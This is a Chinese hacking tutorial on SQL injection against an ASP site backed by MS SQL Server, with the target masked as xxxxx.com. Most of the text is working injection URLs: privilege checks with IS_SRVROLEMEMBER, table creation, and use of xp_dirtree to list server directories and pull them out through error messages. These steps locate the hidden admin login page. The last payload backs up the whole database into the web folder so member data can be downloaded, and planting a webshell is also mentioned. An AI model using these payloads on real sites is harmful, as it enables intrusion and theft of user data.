怪異的SQL注入

文 by AMANL
SQL注入以獨特、新奇、變異的語句迎來了技術又一大突破,當然要針對奇、特這兩方面作文章,要達到一出奇招,必達核心!那纔是SQL注入技術的根本所在。長期以來,MS SQL以它強大的存儲進程給我們帶來了極大的方便,而如今注入技術主要依靠IIS出錯與MS SQL系統提示信息來判斷,那利用SELECT構造特殊語句,使系統出錯來得到我們要的更深入的信息,如爆庫、爆表等,能不能取得詳細信息呢?答案是能,但必出奇招!下面我們一步步來拆解奇招!
首先打開MS SQL查詢分析器,輸入:
xp_dirtree適用權限PUBLIC
語句:exec master.dbo.xp_dirtree 'c:/'
返回結果如圖1所示(圖1)。

圖1

返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。想到了什麼?別急,我們繼續!
語句:create table dirs(paths varchar(100), id int)
作用:建表的語句,大家都熟悉吧?但這裏建的表起到關鍵的作用!也就是和上面xp_dirtree相關連,字段相等、類型相同,爲我們下一步操作作下鋪墊。再來,謎底就要揭曉!
語句:insert dirs exec master.dbo.xp_dirtree 'c:/'
作用:大家覺得奇怪吧?INSERT語句這樣是不是有問題呢?NO!原理是隻要我們建表與存儲進程返回的字段相定義相等就能夠執行!與常規INSERT TABLE(COLOUMN) VALUES(VALUES)差別就是在此,VALUES值我們無法放置存儲進程,利用簡寫:insert dirs exec master.dbo.xp_dirtree 'c:/',而達到寫表的效果——既然可以寫表,那我們就可利用未公開存儲進程來一步步達到我們想要的信息!
上面的東西大家明白了嗎?不明白沒關係,過招在於實戰,實踐勝於理論,那我們就來過過招!實際看下!以下用一個網站作爲基點作測試,注意:以下測試的權限非SA權限!
語句:http://www.xxxxx.com/down/list.asp?id=1'
 返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
字符串 '' 之前有未閉合的引號。
/down/list.asp,行21
  測試權限結構:
語句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
語句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
語句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
語句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
語句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
語句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
語句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
語句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
語句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_MEMBER('db_owner'));--
通過實際測試,只有DB_OWNER語句正常返回信息,可以確定連接數據庫擁有的權限是DB_OWNER(DOWN數據庫所有者),跳過爆庫爆表步驟,以前黑防講得很清楚,大家可以翻看臭要飯的《跨庫查詢你想怎麼玩》,現在我們得到管理員的表和管理表資料,進一步得到權限有兩種方法:意思爆出所有字段,取管理後臺用戶密碼,難點在於找管理後臺路徑,是個體力活;另一個是通過BACKUP直接上傳WEBSHELL,難點在於尋找WEB目錄。
手工猜解管理後臺路徑的成功機率很低,要用XP_DIRTREE來得到我們想要的信息,下面的方法或許要簡單一點!第一次公佈出來,或許很多朋友在用,不過絕對非常好!我們把路徑寫到表裏去!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!說明建表成功!繼續!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:/'--
返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
將 varchar 值 '@Inetpub' 轉換爲數據類型爲 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最後用同樣的方法測試得到網頁目錄放在E:/WEB下,得到網頁目錄後兩種選擇,一是進一步獲取網站管理後臺,另一個是通過BACKUP直接獲取WEBSHELL。監於BAKCUP獲取WEBSHELL的成功率並不是太高,我們先來猜猜它的管理後臺吧!這裏要使用XP_DIRTREE,但是由於XP_DIRTREE是取得一個硬盤分區的目錄樹,讓我們容易混亂,所以就來一層層得到下級目錄吧:
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--
經過反覆的爆字段,最後爆到一個xxxadminlogin目錄,一看就知道這個目錄可能就是我們夢寐以求的管理後臺目錄!壓抑住自己的興奮!我們繼續:
語句:http://http://www.xxxxx.com/down/xxxadminlogin/
顯示出登陸入口!GOOD!哈哈,幸運啊!有用戶、密碼,有登陸URL,還等什麼?進去瞧瞧……
XP_DIRTREE存儲進程返回的只是目錄樹,我們無法得到文件樹。針對登陸入口在網站根目錄下的情況,根本就無從下手,而且相對來說,得到的目錄信息要根據人工去猜測判斷,所以要通過XP_DIRTREE取得管理後臺的登陸入口有着很強判斷性,也是非常考個人思維的地方。
再來說說寫入ASP木馬通過BACKUP得到WEBSHELL或是直接備份當前擁有權限的數據庫的辦法。寫入木馬使用臭要飯現成的GETWEBSHELL工具,很容易就得到一個WEBSHELL,爲了進一步取得會員資料,直接手工備份整個庫到網頁目錄也是個好的辦法!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:/web/down.bak';--
  去下載吧!親愛的朋友們!嘿嘿。
本文介紹是一種變異寫表方法,沒有多少技術含量,只是給大家提供一種構造語句的思路。本文針對網站連接權限不是數據庫服務器角色組的成員,能爲注入所利用的內置擴展存儲進程並不多,擴展的存儲進程涉及權限比較高的用戶才能訪問,所以說一個安全的網站與管理者對權限結構的合理分配是密不可分的,你注意到了嗎?

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章